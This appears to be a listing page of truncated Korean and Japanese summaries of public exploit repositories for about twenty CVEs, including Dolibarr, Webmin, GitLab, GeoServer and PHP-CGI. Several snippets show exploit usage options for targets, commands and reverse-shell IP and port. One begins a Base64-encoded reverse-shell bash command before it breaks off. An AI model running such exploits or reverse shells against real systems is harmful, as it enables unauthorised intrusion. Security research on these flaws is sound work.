CVE-2026-23500

CVE-2026-23500: Dolibarr の MAINODTASPDF 設定を介した OS コマンドインジェクション RCE 概要 フィールド| 詳細 ---|--- CVE ID| CVE-2026-23500 重要度| CRITICAL アドバイザリ| GHSA-w5j3-8fcr-h87w 発見者| Lukasz Rybak 影響を受ける製品 Dolibarr/dolibarr バージョン: が Web アプリケーションやシェルによってエスケープされる問題を回避するため、リバースシェルコマンドを Base64 でエンコードします: Command: bash -c 'bas...

CVE-2026-32722

CVE-2026-32722 블룸버그 Memray의 이스케이프되지 않은 명령줄 메타데이터를 통한 저장형 XSS 소개 저는 Memray블룸버그의 Python 메모리 프로파일러를 검토하던 중 다음과 같은 간단한 질문을 염두에 두고 이 문제를 발견했습니다: 공격자가 제어하는 런타임 메타데이터가 안전하지 않은 방식으로 브라우저에 렌더링되는 보고서 출력에 유입될 수 있을까? 이 경우, 답은 '그렇다'였습니다. 이 버그는 Memray의 HTML 보고서 생성 경로에 있었으며, 명령줄 메타데이터가 이스케이프 없이 브라우저에서 열리는 보고서에...

apache-camel-docling-security-assessment

CVE-2026-40047 - Apache Camel Docling CLI 인수 주입 컨설턴트 스타일 사이버보안 보고서 Apache Camel Docling 인수 검증 위험에 대한 전문적인 취약점 평가 보고서로, 기술적 영향, 수정 및 완화 전략을 포함합니다. 📍 보고서 요약 항목| 세부 사항 ---|--- 보고서 유형| 취약점 평가 보고서 수행 맥락| 보안 연구 주요 초점| 애플리케이션 보안 대상 독자| 보안팀, 엔지니어링팀, 채용 담당자 출력 스타일| 경영진 요약, 기술 분석, 비즈니스 영향, 수정 로드맵 공개 상태| 공개...

CVE-2021-41773-apache

CVE-2021-41773 Apache HTTP 서버 익스플로잇 이 저장소는 CVE-2021-41773으로 식별된 Apache HTTP 서버 경로 탐색 취약점에 대한 Python 기반 개념 증명 익스플로잇을 포함합니다. 이 스크립트는 보안 연구, 방어 테스트 및 취약한 시스템에 대한 공인된 평가를 위해 설계되었습니다. 개요 CVE-2021-41773은 Apache HTTP Server 버전 2.4.49 및 관련 구성에 영향을 미치는 경로 탐색 취약점으로, 서버가 특정 CGI 요청 경로에서 인코딩된 탐색 시퀀스를 부적절하게...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651에 대한 PoC Python3 필요, 3.8에서 테스트됨 python3.8 -m pip install pyzmq msgpack ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or Host optional argument...

PoC-CVE-2019-12840

Webmin 向け CVE-2019-12840 のエクスプロイト このリポジトリには、Webmin の脆弱性 CVE-2019-12840 を悪用する Python スクリプトが含まれています。 説明 スクリプトは Webmin サーバーにログインし、CVE-2019-12840 の脆弱性を悪用しようとします。スクリプトは、Webmin サーバーにログインするためのユーザー名とパスワード、サーバーの URL、サーバーのポート、リバースシェル用のローカルポート、サーバー上で実行するコマンドなど、いくつかのコマンドライン引数を受け付けます。 使用方法...

7-Zip.chm-Mitigation

7-Zip.chm-mitigiation 7-Zip 완화 CVE-2022-29072 설명: https://user-images.githubusercontent.com/33525376/163654035-d40ca72a-7dbc-425f-ade2-3820cfababb2.mp4 CVE 발견자: https://github.com/kagancapar/CVE-2022-29072 인기 있는 압축 프로그램인 7-Zip에서 취약점이 발견되었습니다. 이는 활성 제로데이 취약점으로, 권한 상승 및 명령 실행을 허용하는 것으로 특성화됩니다. 즉,...

CVE-2023-38743

CVE-2023-38743 ManageEngine ADManager 명령 삽입 참고: https://medium.com/@petrusviet/cve-2023-38743-manageengine-admanager-command-injection-6afccbb196fe https://www.zerodayinitiative.com/advisories/ZDI-23-1488/...

CVE_2021_27850_POC

명령어 사용 git clone https://github.com/Ovi3/CVE202127850POC.git cd CVE202127850POC/ gradlew runnbaleJar java -jar ./build/libs/CVE202127850POC-1.0-SNAPSHOT.jar Usage: java TapestryExploit Tapestry Key DNS URL java TapestryExploit Tapestry Key CB2 Command 假设 hmac key为 change this immediately java -ja...

Turvan6rkus-CVE-2024-3273

🛠️ D-Link 네트워크 저장 장치 명령 주입 🌟 배경 D-Link Network Attached Storage NAS, 즉 네트워크 저장 장치 는 파일 저장 및 공유를 위해 컴퓨터 네트워크에 연결되는 하드디스크또는 디스크들를 갖춘 장치입니다. 컴퓨터에 직접 연결되는 일반적인 외장 하드디스크와 달리, 네트워크 저장 장치는 로컬 네트워크에 연결되어 여러 사용자나 장치가 동시에 파일을 사용하고 공유할 수 있게 합니다. 네트워크 저장 장치는 가정 및 기업 환경 모두에서 사용됩니다. 보안 연구를 수행하는 기업 VulDB...

gitlab-cve-2021-22205

gitlab-cve-2021-22205 脆弱なgitlabインスタンスに対してCVE-2021-22205を悪用するシンプルなbashスクリプトです 使い方 Usage: cve-2021-22205.sh options Options: -h,--help Show this help -t,--target Set the target server i.e. "http://gitlab.example.com" -i,--reverse-ip Set the IP to connect back to -p,--reverse-port Set the port to...

CVE-2024-36401

GeoServer 무반향 원격 코드 실행 취약점 CVE-2024-36401 옵션: -h, --help 이 도움말 메시지를 표시하고 종료합니다 -u URL, --url URL 대상 URL; 예시: python .py -u http://ip:port -f FILE, --file FILE 대상 URL 목록; 예시: python .py -f urllist.txt -c CMD, --cmd CMD 대상 명령어; 예시: python .py -u http://ip:port -c whoami...

CVE-2025-4660

설명 CVE-2025-4660, Forescout SecureConnector RCE를 위한 PoC forescoutredirect.py 에이전트를 공격자가 제어하는 특정 IP 주소로 리디렉션할 수 있는 익스플로잇 자체입니다. forescoutc2.py ForeScout SecureConnector 언어를 사용하는 간단한 C2 구현체입니다...

php-cgi-Injector

PHP-CGI 인젝터 🚀 CVE-2024-4577 및 CVE-2024-8926 익스플로잇 도구 PHP-CGI 매개변수 주입 취약점 을 대상으로 하는 자동화 테스트 도구로, CVE-2024-4577 및 CVE-2024-8926 을 지원하며 명령 실행, 파일 업로드, 다운로드 등의 작업을 수행할 수 있습니다. 📌 소개 본 도구는 PHP-CGI 환경에서의 매개변수 주입 취약점 을 테스트하는 데 사용할 수 있으며, 다음 기능을 제공합니다: ✅ 멋진 터미널 인터페이스 및 애니메이션 효과 ✅ 자동화된 취약점 스캔 ✅ 다양한 공격...

cve-2017-5123

CVE-2017-5123 このリポジトリには、CVE-2017-5123 のデモンストレーション、ICMPコマンド&コントロールバックドア、およびCWE-78 （OSコマンドインジェクション）の脆弱なWebアプリケーションが含まれています。 CSC 4308 - チャレンジ3 の一部です。 前提条件 Linux Kernel : 4.13 から（4.13.7 を除く）まで Node.js : 10.x npm : 6.x 概要 このプロジェクトでは、3つの異なるセキュリティ研究コンポーネントを紹介しています： 1. CVE-2017-5123 カーネルエクスプロイト...

CVE-2019-16278

CVE-2019-16278 Nostromo 웹 서버의 원격 명령 실행 취약점 익스플로잇 스크립트 개요 디렉터리 트래버설로 인한 원격 명령 실행 취약점이며, CVE-2011-0751과 동일하게 필터가 엄격하지 않아 %0d를 사용하여 우회할 수 있습니다. 영향을 받는 버전 nostromo = 1.9.6...

CVE-2024-1874

CVE-2024-1874 CVE-2024-1874에 대한 개념 증명 procopen의 Array 형태 $command 매개변수를 통한 명령 삽입 CVE-2024-1874 수정 우회 CVE 설명: PHP 버전 8.1. 8.1.29 미만, 8.2. 8.2.20 미만, 8.3. 8.3.8 미만에서 CVE-2024-1874 수정 사항이 명령 이름에 후행 공백이 포함된 경우 작동하지 않습니다. 원래 문제: procopen 명령을 배열 구문과 함께 사용할 때, 이스케이프 처리가 불충분하여 실행되는 명령의 인수가 악의적인 사용자에 의해 제...

CVE-2023-43482

CVE-2023-43482 TP-Link ER7206 Omada Gigabit VPN Router uhttpd freeStrategy 명령 주입 취약점 요약 Tp-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591의 게스트 리소스 기능에 명령 실행 취약점이 존재합니다. 특수하게 조작된 HTTP 요청으로 임의 명령 실행이 가능합니다. 공격자는 인증된 HTTP 요청을 통해 이 취약점을 트리거할 수 있습니다. 확인된 취약 버전 아래 버전은 Talos에 의해...

CVE-2025-11953-POC-

CVE-2025-11953 - React Native CLI RCE 연구 환경 📋 개요 CVE-2025-11953은 JFrog Security가 발견한 React Native CLI의 Metro 개발 서버에서 발생하는 치명적인 원격 코드 실행RCE 취약점입니다. 이 연구 환경은 방어적 보안 연구, 탐지 개발, 완화 테스트를 위한 실제 취약한 구현을 제공합니다. CVSS 점수: 9.8 치명적 영향받는 버전: @react-native-community/cli-server-api v4.8.0 – v20.0.0-alpha.2 수정된...

CVE-2021-32162

..| CSRFtoCommandInjection2 |.. 설명 : CSRFCross-site request forgery 공격을 이용하여 Webmin의 File Manager 기능을 통해 명령어 삽입Command Injection을 실행하는 익스플로잇 테스트 버전 : Webmin 1.973 GitHub의 최신 버전 2021-07-03 공격 유형: 원격 영향 : 명령어 실행 익스플로잇 코드 PoC : 제품 공급업체 : https://www.webmin.com 추가 정보 : "Webmin은 Unix 계열 서버 및 서비스를 위한 웹...